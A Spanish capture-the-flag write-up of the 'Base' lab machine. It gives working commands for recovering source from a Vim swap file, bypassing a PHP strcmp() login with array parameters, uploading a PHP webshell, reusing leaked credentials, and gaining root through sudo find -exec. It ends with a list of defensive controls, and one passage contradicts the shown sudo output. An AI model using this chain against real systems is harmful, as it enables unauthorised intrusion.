Técnica clave: fuga del código fuente de un login por un archivo swap de Vim (
.swp), bypass de autenticación abusando devuelve destrcmp()en PHP, y escalada consudosobre/usr/bin/find(GTFOBins). ⚠️ Flags redactadas por política en la versión pública.
sudo nmap -sC -sV -p- --open --min-rate 5000 -n -Pn <IP> 2>&1 | tail -15
| Puerto | Servicio | Observación |
|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 Ubuntu (Ubuntu 18.04) |
| 80 | http | Apache/2.4.29 — título "Welcome to Base" |
Hostname confirmado luego como base, kernel 4.15.0-151-generic.
gobuster dir -u http://<IP> -w common.txt -t 60 -o gobuster.txt
Hallazgos:
- /login/ — indexado por Apache (listado ON): config.php, login.php, login.php.swp
- /forms/ — Readme.txt, contact.php
.swplogin.php.swp es un swap file de Vim (dejado cuando el editor se cerró mal) y expone el estado sin guardar del documento:
curl -s -O http://<IP>/login/login.php.swp
file login.php.swp # Vim swap file, version 8.0, pid 1648, user root, host base
vim -r login.php.swp # recueperar
El código recuperado muestra el check de login:
require('config.php');
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");
config.php no responde por HTTP (se ejecuta como PHP). Pero la comparación strcmp con == 0 es el bug clave.
Por qué funciona el bypass: en PHP 7.x, strcmp("string", array) devuelve NULL (warning en pantalla, sin abortar) y NULL == 0 es true en comparación floja. Mando arrays en vez de strings y el check pasa sin conocer las credenciales:
curl -s -i -X POST http://<IP>/login/login.php \
-d "username[]=a&password[]=a" | head -5
# HTTP/1.1 302 Found
# Location: /upload.php <- autenticado sin password
# Set-Cookie: PHPSESSID=...
/upload.php (solo accesible con user_id en sesión) permite subir archivos vía campo multipart image, sin validación de extensión ni contenido:
printf '<?php system($_GET["cmd"]); ?>' > sh.php
curl -s -b "PHPSESSID=<cookie>" \
-F "image=@sh.php" http://<IP>/upload.php
# {"success":"Your file was uploaded"}
# Confirmar ejecución
curl -s "http://<IP>/_uploaded/sh.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Los archivos caen en /_uploaded/ (visible por el listado de Apache). Reverse shell recibida como www-data y confirmó el host base.
config.php (ahora legible directo por la webshell):
cat /var/www/html/login/config.php
# <?php
# $username = "admin";
# $password = "thisisagoodpassword";
Por qué funciona: las mismas credenciales del formulario web se reutilizan en el sistema operativo. su john con esa password entra directo:
su john
# Password: thisisagoodpassword
john@base:~$ cat /home/john/user.txt
# <USER FLAG>
john@base:~$ sudo -l
# (root) NOPASSWD: /usr/bin/find
find puede ejecutar comandos con -exec. Con sudo lo corre como root → abrir shell:
john@base:~$ sudo find / -name root.txt -exec /bin/sh -p \; -quit
sh-4.4# id
# uid=0(root) euid=0(root) <- root
sh-4.4# cat /root/root.txt
# <ROOT FLAG>
Por qué funciona: sudo permite ejecutar find sin password y find -exec es una forma documentada de ejecución arbitraria (GTFOBins). El sudo NO estaba en NOPASSWD en la salida de -l del propio writeup, pero igualmente autoriza find con la password de john (mismo thisisagoodpassword) vía sudo -S.
Controles faltantes en la víctima:
1. .swp en el webroot: swap de Vim expuesto = fuga de código fuente (incluida lógica de auth).
2. Comparación floja con strcmp() con retorno NULL comparado con == 0.
3. Upload sin validación en directorio ejecutable (/_uploaded/).
4. Credenciales reutilizadas entre app web y cuentas del SO → una fuga de config = acceso completo al sistema.
5. sudo find sin restricción de paths = escalada trivial si compromes el usuario.
Mapeo a ISO 27002:2022:
| Control candidate | Acción concreta |
|---|---|
| 8.28 | Codificación segura: comparar con hash_equals() / === estricto; nunca == ante retorno NULL |
| 8.20 | Seguridad en redes: no exponer listados de directorio (Options -Indexes) |
| 8.8 | Gestión de vulnerabilidades técnicas: no dejar swap/editor abiertos en webroot |
| 8.24 | Gestión de secretos: credenciales en vault, y nunca reutilizar password de app en cuentas OS |
| 8.6 / 8.2 | Mínimos privilegios: sudo con comandos restringidos por path; revisar binarios con -exec (find, vim, etc.) |
.swp (fuga) → recuperar login.php → strcmp bypass (array) → /upload.php → webshell → config.php (admin:thisisagoodpassword) → su john → sudo find -exec → root
Nota de trazabilidad: resuelto en vivo el 2026-09-19 (10.129.95.184). Flags omitidas en público.